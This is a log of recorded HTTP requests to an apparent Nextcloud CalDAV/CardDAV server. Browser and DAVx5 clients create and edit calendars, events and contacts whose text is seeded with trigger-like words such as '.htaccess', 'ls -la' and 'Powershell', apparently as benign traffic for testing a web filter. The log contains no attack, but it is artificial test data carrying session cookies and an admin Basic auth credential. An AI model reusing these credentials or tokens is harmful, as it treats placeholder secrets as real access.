.htaccess\\; ls -la shows the\r\n files.\r\nEND:VEVENT\r\nBEGIN:VTIMEZONE\r\nTZID:Europe/Berlin\r\nBEGIN:DAYLIGHT\r\nTZNAME:CEST\r\nTZOFFSETFROM:+0100\r\nTZOFFSETTO:+0200\r\nDTSTART:19700329T020000\r\nRRULE:FREQ=YEARLY;BYMONTH=3;BYDAY=-1SU\r\nEND:DAYLIGHT\r\nBEGIN:STANDARD\r\nTZNAME:CET\r\nTZOFFSETFROM:+0200\r\nTZOFFSETTO:+0100\r\nDTSTART:19701025T030000\r\nRRULE:FREQ=YEARLY;BYMONTH=10;BYDAY=-1SU\r\nEND:STANDARD\r\nEND:VTIMEZONE\r\nEND:VCALENDAR"}
{"method": "DELETE", "target": "/remote.php/dav/calendars/admin/python3-and-powershell/3CA0C88E-5919-4A63-98EC-63AD263E3CC5.ics", "headers": ["Host: example.com", "Connection: keep-alive", "Depth: 0", "X-NC-CalDAV-Webcal-Caching: On", "requesttoken: XzdVTnLDdfXMQfo5P/dvxM1gfhL4vJdqn0oPhubHYyc=:Ol4lIBTzBIL/OI11VI03pa4ZDmGi29IC1BA9/7/wKX4=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=utf-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=tRZ%2BSptBHK11P5pryNcLmx3815D1Oaf9%2BKEWPWYgNj0BMJt19Hg%2Bh85ageyJfVW69WyQm4n0d%2B60YaLoCjp9e5xMZoFRxx0FrrU6%2BwyOS4UxJznaNaJU9YSsoVBvNNU4; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=fa1e8b24b31e987cac3388eb4507a69c; nc_username=admin; nc_token=vP3np0skoBgEl%2F4Xz4IWK%2BUwsgDUMGA%2F; nc_session_id=fa1e8b24b31e987cac3388eb4507a69c"], "body": ""}
{"method": "GET", "target": "/apps/contacts/", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=hTR14TyLElt0ww3gvFbgLJiZKknNZZy5NFEvCA8TrFooYkHrVHp%2BjJWB2aYG0poKUoyXssdQVfJ0dBLLCcpJXSd8qJ%2BAnYeQfLPK6zL7IbwLQMNgHPa0qgvZmqEM6xM4; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=44d8c04765ac411f367dc36a451b8922; nc_username=admin; nc_token=%2BbGjlq5HAj%2FKb%2FxDX6UpJVT20dm22ciN; nc_session_id=44d8c04765ac411f367dc36a451b8922"], "body": ""}
{"method": "PROPFIND", "target": "/remote.php/dav/addressbooks/users/admin/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 771", "Depth: 1", "requesttoken: HXwiJzx/6GfUKVU4kHiOoR61g490fr+QsA9Qe0hsQuw=:azISRFcc2A+kfCBhoyjX6S3Uu+IaT9Ko91o5SRguJNg=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=hTR14TyLElt0ww3gvFbgLJiZKknNZZy5NFEvCA8TrFooYkHrVHp%2BjJWB2aYG0poKUoyXssdQVfJ0dBLLCcpJXSd8qJ%2BAnYeQfLPK6zL7IbwLQMNgHPa0qgvZmqEM6xM4; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=44d8c04765ac411f367dc36a451b8922; nc_username=admin; nc_token=%2BbGjlq5HAj%2FKb%2FxDX6UpJVT20dm22ciN; nc_session_id=44d8c04765ac411f367dc36a451b8922"], "body": "<x0:propfind xmlns:x0=\"DAV:\"><x0:prop><x0:getcontenttype/><x0:getetag/><x0:resourcetype/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x5:invite xmlns:x5=\"http://owncloud.org/ns\"/><x6:allowed-sharing-modes xmlns:x6=\"http://calendarserver.org/ns/\"/><x4:addressbook-description xmlns:x4=\"urn:ietf:params:xml:ns:carddav\"/><x4:supported-address-data xmlns:x4=\"urn:ietf:params:xml:ns:carddav\"/><x4:max-resource-size xmlns:x4=\"urn:ietf:params:xml:ns:carddav\"/><x6:getctag xmlns:x6=\"http://calendarserver.org/ns/\"/><x5:enabled xmlns:x5=\"http://owncloud.org/ns\"/><x5:read-only xmlns:x5=\"http://owncloud.org/ns\"/></x0:prop></x0:propfind>"}
{"method": "REPORT", "target": "/remote.php/dav/addressbooks/users/admin/contacts/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 703", "Depth: 1", "requesttoken: HXwiJzx/6GfUKVU4kHiOoR61g490fr+QsA9Qe0hsQuw=:azISRFcc2A+kfCBhoyjX6S3Uu+IaT9Ko91o5SRguJNg=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=hTR14TyLElt0ww3gvFbgLJiZKknNZZy5NFEvCA8TrFooYkHrVHp%2BjJWB2aYG0poKUoyXssdQVfJ0dBLLCcpJXSd8qJ%2BAnYeQfLPK6zL7IbwLQMNgHPa0qgvZmqEM6xM4; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=44d8c04765ac411f367dc36a451b8922; nc_username=admin; nc_token=%2BbGjlq5HAj%2FKb%2FxDX6UpJVT20dm22ciN; nc_session_id=44d8c04765ac411f367dc36a451b8922"], "body": "<x4:addressbook-query xmlns:x4=\"urn:ietf:params:xml:ns:carddav\"><x0:prop xmlns:x0=\"DAV:\"><x0:getetag/><x0:getcontenttype/><x0:resourcetype/><x4:address-data><x4:prop name=\"EMAIL\"/><x4:prop name=\"UID\"/><x4:prop name=\"TEL\"/><x4:prop name=\"CATEGORIES\"/><x4:prop name=\"FN\"/><x4:prop name=\"ORG\"/><x4:prop name=\"N\"/><x4:prop name=\"X-PHONETIC-FIRST-NAME\"/><x4:prop name=\"X-PHONETIC-LAST-NAME\"/><x4:prop name=\"X-MANAGERSNAME\"/><x4:prop name=\"TITLE\"/><x4:prop name=\"NOTE\"/><x4:prop name=\"RELATED\"/><x4:prop name=\"KIND\"/><x4:prop name=\"X-ADDRESSBOOKSERVER-KIND\"/></x4:address-data><x3:has-photo xmlns:x3=\"http://nextcloud.com/ns\"/><x3:favorite xmlns:x3=\"http://nextcloud.com/ns\"/></x0:prop></x4:addressbook-query>"}
{"method": "MKCOL", "target": "/remote.php/dav/addressbooks/users/admin/powershell-and-htaccess-people", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 247", "Depth: 0", "requesttoken: IDF6haHOnwUb6toTHKUMAP7gLYKMfa/mr+gcudSIOJY=:F3wrtM/88lBcn7ZDJJBFSZaue/bJJ/eM3qUpwZrGWbk=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=Zgacpi1e5s%2B%2B%2F2XwYeTW%2FIM50S6NnczT4TaFtjK%2FoExyhmf0Vj7bY8htV%2BJAtAxrU%2BNaBqXKOIes3hSFV948kw%2FY3IGIBR6V%2BlKBH2iD3ws%2FLcZ98ZZAF4W21X%2Bidhfi; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=b7bbb68fb503491efd91910474b454bd; nc_username=admin; nc_token=lzpjs5M9hGN%2FdTXJj0aSTKDZeMBv4sl1; nc_session_id=b7bbb68fb503491efd91910474b454bd"], "body": "<x0:mkcol xmlns:x0=\"DAV:\"><x0:set><x0:prop><x0:resourcetype><x0:collection/><x4:addressbook xmlns:x4=\"urn:ietf:params:xml:ns:carddav\"/></x0:resourcetype><x0:displayname>Powershell and .htaccess people</x0:displayname></x0:prop></x0:set></x0:mkcol>"}
{"method": "PROPFIND", "target": "/remote.php/dav/addressbooks/users/admin/powershell-and-htaccess-people/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 771", "Depth: 0", "requesttoken: IDF6haHOnwUb6toTHKUMAP7gLYKMfa/mr+gcudSIOJY=:F3wrtM/88lBcn7ZDJJBFSZaue/bJJ/eM3qUpwZrGWbk=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=Zgacpi1e5s%2B%2B%2F2XwYeTW%2FIM50S6NnczT4TaFtjK%2FoExyhmf0Vj7bY8htV%2BJAtAxrU%2BNaBqXKOIes3hSFV948kw%2FY3IGIBR6V%2BlKBH2iD3ws%2FLcZ98ZZAF4W21X%2Bidhfi; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=b7bbb68fb503491efd91910474b454bd; nc_username=admin; nc_token=lzpjs5M9hGN%2FdTXJj0aSTKDZeMBv4sl1; nc_session_id=b7bbb68fb503491efd91910474b454bd"], "body": "<x0:propfind xmlns:x0=\"DAV:\"><x0:prop><x0:getcontenttype/><x0:getetag/><x0:resourcetype/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x5:invite xmlns:x5=\"http://owncloud.org/ns\"/><x6:allowed-sharing-modes xmlns:x6=\"http://calendarserver.org/ns/\"/><x4:addressbook-description xmlns:x4=\"urn:ietf:params:xml:ns:carddav\"/><x4:supported-address-data xmlns:x4=\"urn:ietf:params:xml:ns:carddav\"/><x4:max-resource-size xmlns:x4=\"urn:ietf:params:xml:ns:carddav\"/><x6:getctag xmlns:x6=\"http://calendarserver.org/ns/\"/><x5:enabled xmlns:x5=\"http://owncloud.org/ns\"/><x5:read-only xmlns:x5=\"http://owncloud.org/ns\"/></x0:prop></x0:propfind>"}
{"method": "REPORT", "target": "/remote.php/dav/addressbooks/users/admin/powershell-and-htaccess-people/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 703", "Depth: 1", "requesttoken: fZgjYlkTsOd20pLYPjng/qvwY4SGiFpn9ESXtI5TLg4=:MOFqAWxnm9Rdk+O6bACVl+zEUd3g4jERsj747aEaZ2o=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=jOdffoGm%2FR4%2FLegb4Tes9nHq9GPhh0oBu6yT3apgCqiEBQQj3XY5S5oZhFPmWexksgRMt2SpOiAAeUTpmgc01J4kaHZee1Ug6U204lFJ0WZej0d7%2FxRrDspKnD6ltmFP; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=e0aeeffda7c701dc426e0d411bdfb0a2; nc_username=admin; nc_token=piSmKb4QqFXfvtkB0J1iEKk3ElcqKzyC; nc_session_id=e0aeeffda7c701dc426e0d411bdfb0a2"], "body": "<x4:addressbook-query xmlns:x4=\"urn:ietf:params:xml:ns:carddav\"><x0:prop xmlns:x0=\"DAV:\"><x0:getetag/><x0:getcontenttype/><x0:resourcetype/><x4:address-data><x4:prop name=\"EMAIL\"/><x4:prop name=\"UID\"/><x4:prop name=\"TEL\"/><x4:prop name=\"CATEGORIES\"/><x4:prop name=\"FN\"/><x4:prop name=\"ORG\"/><x4:prop name=\"N\"/><x4:prop name=\"X-PHONETIC-FIRST-NAME\"/><x4:prop name=\"X-PHONETIC-LAST-NAME\"/><x4:prop name=\"X-MANAGERSNAME\"/><x4:prop name=\"TITLE\"/><x4:prop name=\"NOTE\"/><x4:prop name=\"RELATED\"/><x4:prop name=\"KIND\"/><x4:prop name=\"X-ADDRESSBOOKSERVER-KIND\"/></x4:address-data><x3:has-photo xmlns:x3=\"http://nextcloud.com/ns\"/><x3:favorite xmlns:x3=\"http://nextcloud.com/ns\"/></x0:prop></x4:addressbook-query>"}
{"method": "PUT", "target": "/remote.php/dav/addressbooks/users/admin/powershell-and-htaccess-people/E1EB75FA-933C-46A4-AD1A-7106855A029F.vcf", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 332", "Depth: 0", "requesttoken: Iy7WAAfPc/hGpvpisqtFnPFRQDIzSG6sC+yJUEMbzPQ=:e3umVUqCEbAz6IgW/90k9Kk6Int0IzjAYYXiMyhQn44=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: text/vcard; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=%2FrmnJ5SO3BeiIypOwZqHEMonCiIy2uYA81JnXwGymwd1DduGdO3s7%2BttUc9quBNkrQAtL5KyTu0URuNqIZCe%2BS5rX85okbkVhwUdiJgdNa4Zl3j1KGVC7wa2vKuZs9rv; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=418a018c3809ffbd57360d97a78a822c; nc_username=admin; nc_token=GEjX3Z%2Fr2k4zZtwMjnL1cvLWQzvgAvgO; nc_session_id=418a018c3809ffbd57360d97a78a822c"], "body": "BEGIN:VCARD\r\nVERSION:4.0\r\nPRODID:-//Nextcloud Contacts v8.9.5\r\nUID:ee504ddf-b0ef-4dcb-8525-0b5d006b881e\r\nREV;VALUE=DATE-TIME:20261110T091354Z\r\nFN:Ada Python3 Powershell\r\nNOTE:\r\nADR;TYPE=HOME:;;4 Powershell Lane;Python3 Town;;;\r\nEMAIL;TYPE=HOME:\r\nTEL;TYPE=HOME,VOICE:\r\nORG:.htaccess and Python3 Ltd\r\nTITLE:Powershell admin\r\nEND:VCARD"}
{"method": "PROPFIND", "target": "/remote.php/dav/addressbooks/users/admin/powershell-and-htaccess-people/E1EB75FA-933C-46A4-AD1A-7106855A029F.vcf", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 318", "Depth: 0", "requesttoken: Iy7WAAfPc/hGpvpisqtFnPFRQDIzSG6sC+yJUEMbzPQ=:e3umVUqCEbAz6IgW/90k9Kk6Int0IzjAYYXiMyhQn44=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=%2FrmnJ5SO3BeiIypOwZqHEMonCiIy2uYA81JnXwGymwd1DduGdO3s7%2BttUc9quBNkrQAtL5KyTu0URuNqIZCe%2BS5rX85okbkVhwUdiJgdNa4Zl3j1KGVC7wa2vKuZs9rv; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=418a018c3809ffbd57360d97a78a822c; nc_username=admin; nc_token=GEjX3Z%2Fr2k4zZtwMjnL1cvLWQzvgAvgO; nc_session_id=418a018c3809ffbd57360d97a78a822c"], "body": "<x0:propfind xmlns:x0=\"DAV:\"><x0:prop><x0:getcontenttype/><x0:getetag/><x0:resourcetype/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x0:getcontenttype/><x0:getetag/><x0:resourcetype/><x4:address-data xmlns:x4=\"urn:ietf:params:xml:ns:carddav\"/></x0:prop></x0:propfind>"}
{"method": "PUT", "target": "/remote.php/dav/addressbooks/users/admin/powershell-and-htaccess-people/E1EB75FA-933C-46A4-AD1A-7106855A029F.vcf", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 348", "Cache-Control: max-age=0", "Depth: 0", "requesttoken: 7Vdz2rzQ/4Dwwwmsqiy1H4Ac0zCBNZHnXHTBNGBb+aU=:jy4VvvKDjM/Eql/exFvML9J/l3PMZtCTOwCUAipwnM0=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: text/vcard; charset=UTF-8; charset=UTF-8", "If-Match: \"71a3092727585c70e67fdc0d6d610c20\"", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=kWAeErU2vXagSmHqAr00wV4yN408SYGPcS0P05Fxux4TdMkDB32sXCORkyIudWzxRB9QebdTZznhygCaa2skiuRhwWQB0Vjo4SZC1Pg27uy%2FGQK7bbXaXY3nAsGqO9DM; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=a13ae35dab214517739d9f5b4a0d9264; nc_username=admin; nc_token=boKHHKSaguKiOEwEA6ohVdUIsfFVG0P6; nc_session_id=a13ae35dab214517739d9f5b4a0d9264"], "body": "BEGIN:VCARD\r\nVERSION:4.0\r\nPRODID:-//Nextcloud Contacts v8.9.5\r\nUID:ee504ddf-b0ef-4dcb-8525-0b5d006b881e\r\nREV;VALUE=DATE-TIME:20261110T091426Z\r\nFN:Ada .htaccess ls -la Python3\r\nNOTE:\r\nADR;TYPE=HOME:;;4 Powershell Lane;Python3 Town;;;\r\nEMAIL;TYPE=HOME:\r\nTEL;TYPE=HOME,VOICE:\r\nORG:.htaccess and Python3 Ltd\r\nTITLE:Python3 and ls -la trainer\r\nEND:VCARD"}
{"method": "DELETE", "target": "/remote.php/dav/addressbooks/users/admin/powershell-and-htaccess-people/E1EB75FA-933C-46A4-AD1A-7106855A029F.vcf", "headers": ["Host: example.com", "Connection: keep-alive", "Depth: 0", "requesttoken: 3K2A7EtHJTOVTJ7M8h5zQF9iYoahono/AafukOCK5ak=:scf6qTpsX0OlHva6o0grAhYuBsHs5khQZ5KbpLTm0MA=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=utf-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=el6hXqkaEpqVs6rRnN5Qb8ecVqAYaa%2F93Y3talW%2B8NLNAj3MF%2BtO5naG1BjPfqP91zWgMQAw3W6D5N5%2Frqw5sz4ij4nSoe5khPs45Gv%2F8NDs63QCkUg7fjSLLvISdXFE; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=a7d23fe345d2880f1f6655a952f9b2f3; nc_username=admin; nc_token=hzOptppVGWk1f6mZgFJxDbutRK5tE%2FGx; nc_session_id=a7d23fe345d2880f1f6655a952f9b2f3"], "body": ""}
{"method": "PROPFIND", "target": "/.well-known/caldav", "headers": ["Host: example.com", "Content-Length: 128", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8", "Depth: 0"], "body": "<?xml version='1.0' encoding='UTF-8' ?><propfind xmlns=\"DAV:\"><prop><resourcetype /><current-user-principal /></prop></propfind>"}
{"method": "PROPFIND", "target": "/.well-known/carddav", "headers": ["Host: example.com", "Content-Length: 128", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8", "Depth: 0"], "body": "<?xml version='1.0' encoding='UTF-8' ?><propfind xmlns=\"DAV:\"><prop><resourcetype /><current-user-principal /></prop></propfind>"}
{"method": "PROPFIND", "target": "/remote.php/dav/", "headers": ["Host: example.com", "Content-Length: 128", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8", "Depth: 0"], "body": "<?xml version='1.0' encoding='UTF-8' ?><propfind xmlns=\"DAV:\"><prop><resourcetype /><current-user-principal /></prop></propfind>"}
{"method": "PROPFIND", "target": "/remote.php/dav/principals/users/admin/", "headers": ["Host: example.com", "Content-Length: 294", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8", "Depth: 0"], "body": "<?xml version='1.0' encoding='UTF-8' ?><propfind xmlns=\"DAV:\" xmlns:CAL=\"urn:ietf:params:xml:ns:caldav\" xmlns:CARD=\"urn:ietf:params:xml:ns:carddav\"><prop><CAL:calendar-home-set /><CARD:addressbook-home-set /><displayname /><CAL:calendar-user-address-set /><group-membership /></prop></propfind>"}
{"method": "PROPFIND", "target": "/remote.php/dav/calendars/admin/", "headers": ["Host: example.com", "Content-Length: 407", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8", "Depth: 1"], "body": "<?xml version='1.0' encoding='UTF-8' ?><propfind xmlns=\"DAV:\" xmlns:CAL=\"urn:ietf:params:xml:ns:caldav\" xmlns:CS=\"http://calendarserver.org/ns/\" xmlns:ICAL=\"http://apple.com/ns/ical/\"><prop><resourcetype /><displayname /><CAL:calendar-description /><ICAL:calendar-color /><CAL:supported-calendar-component-set /><current-user-privilege-set /><CS:source /><CAL:calendar-timezone /><owner /></prop></propfind>"}
{"method": "PROPFIND", "target": "/remote.php/dav/addressbooks/users/admin/", "headers": ["Host: example.com", "Content-Length: 232", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8", "Depth: 1"], "body": "<?xml version='1.0' encoding='UTF-8' ?><propfind xmlns=\"DAV:\" xmlns:CARD=\"urn:ietf:params:xml:ns:carddav\"><prop><resourcetype /><displayname /><CARD:addressbook-description /><current-user-privilege-set /><owner /></prop></propfind>"}
{"method": "MKCALENDAR", "target": "/remote.php/dav/calendars/admin/f2d452d0-61e4-4524-8b41-23f63c571f07/", "headers": ["Host: example.com", "Content-Length: 496", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8"], "body": "<?xml version='1.0' encoding='UTF-8' ?><CAL:mkcalendar xmlns=\"DAV:\" xmlns:CAL=\"urn:ietf:params:xml:ns:caldav\" xmlns:ICAL=\"http://apple.com/ns/ical/\"><set><prop><displayname>Python3 club and .htaccess</displayname><CAL:calendar-description>Powershell and python3 meetings; ls -la first</CAL:calendar-description><ICAL:calendar-color>#FF0000FF</ICAL:calendar-color><CAL:supported-calendar-component-set><CAL:comp name=\"VEVENT\" /></CAL:supported-calendar-component-set></prop></set></CAL:mkcalendar>"}
{"method": "MKCOL", "target": "/remote.php/dav/addressbooks/users/admin/2734c22c-0efb-49c8-ab43-1231660d67c6/", "headers": ["Host: example.com", "Content-Length: 340", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8"], "body": "<?xml version='1.0' encoding='UTF-8' ?><mkcol xmlns=\"DAV:\" xmlns:CARD=\"urn:ietf:params:xml:ns:carddav\"><set><prop><resourcetype><collection /><CARD:addressbook /></resourcetype><displayname>Ls -la and powershell team</displayname><CARD:addressbook-description>Python3 and .htaccess people</CARD:addressbook-description></prop></set></mkcol>"}
{"method": "PROPFIND", "target": "/remote.php/dav/calendars/admin/f2d452d0-61e4-4524-8b41-23f63c571f07/", "headers": ["Host: example.com", "Content-Length: 179", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8", "Depth: 0"], "body": "<?xml version='1.0' encoding='UTF-8' ?><propfind xmlns=\"DAV:\" xmlns:CS=\"http://calendarserver.org/ns/\"><prop><CS:getctag /><sync-token /><supported-report-set /></prop></propfind>"}
{"method": "REPORT", "target": "/remote.php/dav/calendars/admin/f2d452d0-61e4-4524-8b41-23f63c571f07/", "headers": ["Host: example.com", "Content-Length: 162", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8", "Depth: 0"], "body": "<?xml version='1.0' encoding='UTF-8' ?><sync-collection xmlns=\"DAV:\"><sync-token></sync-token><sync-level>1</sync-level><prop><getetag /></prop></sync-collection>"}
{"method": "PUT", "target": "/remote.php/dav/calendars/admin/f2d452d0-61e4-4524-8b41-23f63c571f07/f861af26-0f29-43a9-8d45-6b62a6e532c3.ics", "headers": ["Host: example.com", "Content-Length: 780", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: text/calendar; charset=utf-8", "If-None-Match: *"], "body": "BEGIN:VCALENDAR\r\nVERSION:2.0\r\nPRODID:DAVx5/4.4.9-ose ical4j/3.2.19 (at.techbee.jtx)\r\nBEGIN:VEVENT\r\nDTSTAMP:20261110T090000Z\r\nUID:f861af26-0f29-43a9-8d45-6b62a6e532c3\r\nSUMMARY:Python3 and powershell review\r\nDTSTART;TZID=Europe/Berlin:20261112T100000\r\nDTEND;TZID=Europe/Berlin:20261112T110000\r\nLOCATION:Room .htaccess\\, Python3 Street 2\r\nDESCRIPTION:We read the .htaccess files\\; run ls -la and python3 first.\r\nEND:VEVENT\r\nBEGIN:VTIMEZONE\r\nTZID:Europe/Berlin\r\nBEGIN:STANDARD\r\nTZNAME:CET\r\nTZOFFSETFROM:+0200\r\nTZOFFSETTO:+0100\r\nDTSTART:19701025T030000\r\nRRULE:FREQ=YEARLY;BYMONTH=10;BYDAY=-1SU\r\nEND:STANDARD\r\nBEGIN:DAYLIGHT\r\nTZNAME:CEST\r\nTZOFFSETFROM:+0100\r\nTZOFFSETTO:+0200\r\nDTSTART:19700329T020000\r\nRRULE:FREQ=YEARLY;BYMONTH=3;BYDAY=-1SU\r\nEND:DAYLIGHT\r\nEND:VTIMEZONE\r\nEND:VCALENDAR\r\n"}
